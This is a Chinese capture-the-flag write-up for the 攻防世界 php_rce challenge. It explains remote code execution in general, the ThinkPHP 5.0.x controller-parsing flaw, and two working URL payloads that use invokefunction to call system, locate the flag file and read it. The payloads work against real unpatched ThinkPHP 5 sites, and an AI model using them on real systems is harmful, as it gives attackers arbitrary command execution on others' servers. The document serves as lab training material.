6.攻防世界php_rce

进入题目页面如下

进入页面后也没有发现注入点,加上题目提示是php,还有rce

RCE(Remote Code Execution)远程代码执行漏洞

基本概念

远程代码执行指攻击者无需物理接触目标系统,通过网络等远程方式,向目标系统注入并执行恶意代码。成功利用该漏洞后,攻击者能像合法用户一样对目标系统进行操作,获取系统的控制权。

数据泄露:可以执行恶意代码后可访问系统中的敏感数据,如用户的个人信息、企业的商业机密、数据库中的重要数据等,造成数据泄露和隐私侵犯。

系统破坏:可以删除、篡改系统文件和数据,导致系统无法正常运行,甚至造成数据丢失,给企业带来巨大的经济损失。

网络攻击跳板:被控制的系统可作为攻击者进一步攻击其他系统的跳板,扩大攻击范围,危害整个网络的安全。

检测手段

静态代码分析:借助代码扫描工具对源代码进行全面分析,查找可能存在的安全隐患和漏洞模式。例如,使用 SonarQube、Checkmarx 等工具可以发现代码中的命令注入、代码注入等问题。

动态测试:利用漏洞扫描器对运行中的应用程序进行动态检测,模拟攻击者的行为,向应用程序发送各种恶意请求,检测是否存在远程代码执行漏洞。常见的漏洞扫描器有 Nessus、Acunetix 等

定义

远程代码执行(Remote Code Execution,简称 RCE)漏洞是一种严重的安全漏洞,攻击者能够通过网络远程向目标系统注入并执行恶意代码。一旦成功利用该漏洞,攻击者可以完全控制目标系统,执行任意命令,如获取系统权限、窃取敏感信息、安装后门程序等,对系统安全造成严重威胁。

攻击者可构造恶意的参数,如 :ls -l,执行额外的系统命令

ThinkPHP V5

ThinkPHP V5 是一款在国内广泛应用的 PHP 开发框架

ThinkPHP 5.0.x 系列漏洞

漏洞成因

该版本主要是因为框架对控制器名解析存在缺陷。ThinkPHP 5 采用了路由机制,当处理请求时会根据请求的 URL 解析出对应的控制器和方法。在某些情况下,对控制器名的解析没有进行严格的过滤和验证,攻击者可以通过构造特殊的 URL 请求,让框架加载并执行恶意的控制器代码。

利用方式

攻击者构造包含恶意代码的 URL 请求,发送给存在漏洞的应用。可以通过修改 URL 中的控制器名参数,使其指向一个恶意构造的类,这个类中包含可以执行任意代码的方法。当应用处理该请求时,就会触发漏洞执行恶意代码。

这里的 s 参数通常用于指定控制器和方法,通过构造特殊的值,尝试执行 phpinfo() 函数,若漏洞存在则会输出 PHP 信息。

构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

发现了flag文件

再次构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

最后得到flag:flag{thinkphp5_rce}

相关推荐
网络安全创新研究院6 分钟前
飞网揭秘:个人网络与团队网络功能对比
安全
华强笔记1 小时前
Linux内存管理系统性总结
linux·运维·网络
Warren982 小时前
软件测试-Selenium学习笔记
java·javascript·笔记·学习·selenium·测试工具·安全
字节跳动安全中心2 小时前
智能体防御 | 一文了解3种系统提示词加固方法
安全·llm
iY_n3 小时前
Linux网络基础
linux·网络·arm开发
EggrollOrz4 小时前
网络编程day3
网络
想睡hhh5 小时前
网络基础——Socket编程预备
网络
zzc9215 小时前
Wireshark获取数据传输的码元速率
网络·测试工具·wifi·wireshark·路由器·802.11n·物理层参数
搬码临时工5 小时前
端口映射原理操作详解教程:实现外网访问内网服务,本地路由器端口映射公网ip和软件端口映射域名2种方法
网络·tcp/ip·智能路由器
当你需要个夏天2175 小时前
软考网工选择题-1
网络·智能路由器·选择题·软考网工